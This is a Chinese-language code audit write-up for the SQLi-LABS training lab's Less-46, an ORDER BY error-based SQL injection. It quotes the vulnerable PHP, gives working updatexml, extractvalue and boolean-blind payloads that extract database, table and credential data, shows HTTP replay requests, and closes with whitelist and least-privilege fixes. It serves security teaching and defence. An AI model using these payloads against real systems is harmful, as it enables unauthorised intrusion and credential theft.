sqli-labs-Less-46-代码审计报告

14次阅读
没有评论

Less-46 代码审计报告:ORDER BY 报错型数字注入

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-46/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-46: ORDER BY Clause - Error based - Numeric
源码路径 Less-46/index.php
漏洞类型 SQL 注入 – 报错型(ORDER BY 子句)- 数字型
注入点参数 GET /sqli-labs/Less-46/?sort=
报错/盲注 报错回显(查询失败时回显 mysql_error())
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-46/index.php

// 第 14 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];	

// 第 22 行:数字型直接拼接进 ORDER BY 子句
$sql = "SELECT * FROM users ORDER BY $id";
// 第 23 行
$result = mysql_query($sql);

// 第 55 行:查询失败时回显原始报错(报错注入的数据来源)
print_r(mysql_error());

关键漏洞点:

  • 第 14 行:$id=$_GET['sort']; 未过滤。
  • 第 22 行:ORDER BY $id 数字型直接拼接,$id 被当作排序表达式执行。
  • 第 55 行:print_r(mysql_error()); 回显报错,可利用报错函数带出数据。

3. 漏洞分析

  • 输入来源:$_GET['sort'],未做任何过滤。
  • SQL 拼接位置:ORDER BY $id。ORDER BY 子句不参与 WHERE,不能直接 UNION,但支持表达式、函数、子查询、多列。
  • 闭合方式:无引号(数字型),$id 原样进入 SQL。
  • 是否回显:查询失败时第 55 行回显 mysql_error(),因此首选报错注入(updatexml / extractvalue),把子查询结果拼入 XPath 错误消息带出。
  • 备选:布尔盲注。ORDER BY 的排序表达式结果不同会改变行序;也可让子查询在条件假时返回多行触发报错,以"表格是否显示"作为布尔 Oracle。

4. 利用方式

步骤一:判断注入点

sort=1      → 正常按 id 升序显示
sort=2      → 正常按 username 排序
sort=1,2    → 正常(多列排序)
sort=updatexml(1,concat(0x7e,1),1)   → 报错 "XPATH syntax error: '~1'"

→ 确认 sort 参数进入 ORDER BY 且可执行函数。

步骤二:报错注入提取数据(核心 Payload)

-- 爆当前库
sort=1 AND updatexml(1,concat(0x7e,(select database())),1)
-- 爆表名
sort=1 AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)
-- 爆字段名
sort=1 AND updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)
-- 爆数据
sort=1 AND updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1)

预期结果:页面报错消息形如 XPATH syntax error: '~security',~ 后即所查数据。
也可用 extractvalue 等价替代:

sort=extractvalue(1,concat(0x7e,(select database())))

步骤三:布尔盲注(无报错环境备选)

sort=(select if((select database())='security',1,(select 1 union select 2)))
  • 条件为真 → 排序表达式为 1,表格正常显示;
  • 条件为假 → 子查询 (select 1 union select 2) 返回多行,整条 SQL 报错,表格消失。
    以"表格是否出现"为 Oracle 逐位爆破 substring(...)。

步骤四:进阶

  • updatexml 报错信息约截断 32 字符,超长用 substring(...,1,32) 分段。
  • ORDER BY 位置不支持 UNION;若服务端改用 mysqli_multi_query(如 Less-50~53)还可堆叠多语句。

5. Yakit 重放数据包

GET /sqli-labs/Less-46/?sort=1%20AND%20updatexml(1,concat(0x7e,(select%20database())),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

爆表名报文:

GET /sqli-labs/Less-46/?sort=1%20AND%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security')),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

说明:%20=空格、%27='、concat(0x7e,...) 中 0x7e 为 ~。若 -- 注释符出现在 payload 末尾,注意编码为 --%20-。


6. 修复建议

修复一(首选):排序字段白名单枚举

ORDER BY 的列名/表达式属于标识符,预处理语句无法绑定标识符,因此最稳妥的是白名单校验:

<?php
$allow = ['id', 'username', 'password'];   // 仅允许预置的排序字段
$sort  = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
    $sort = 'id';                          // 非法值回退默认排序
}
$sql = "SELECT * FROM users ORDER BY $sort";  // $sort 来自白名单,安全
$result = mysql_query($sql);

修复二:若必须接受表达式/动态列,严格白名单正则

if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
    die('Invalid sort field');
}

修复三:输入校验 + 最小权限

  • 关闭报错回显,删除 print_r(mysql_error()),错误写入日志。
  • 数据库账号最小权限(只读账号),限制 INTO OUTFILE。
  • 升级 PHP 7+ / 8+,移除 mysql_* 扩展,改用 PDO/mysqli 预处理。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0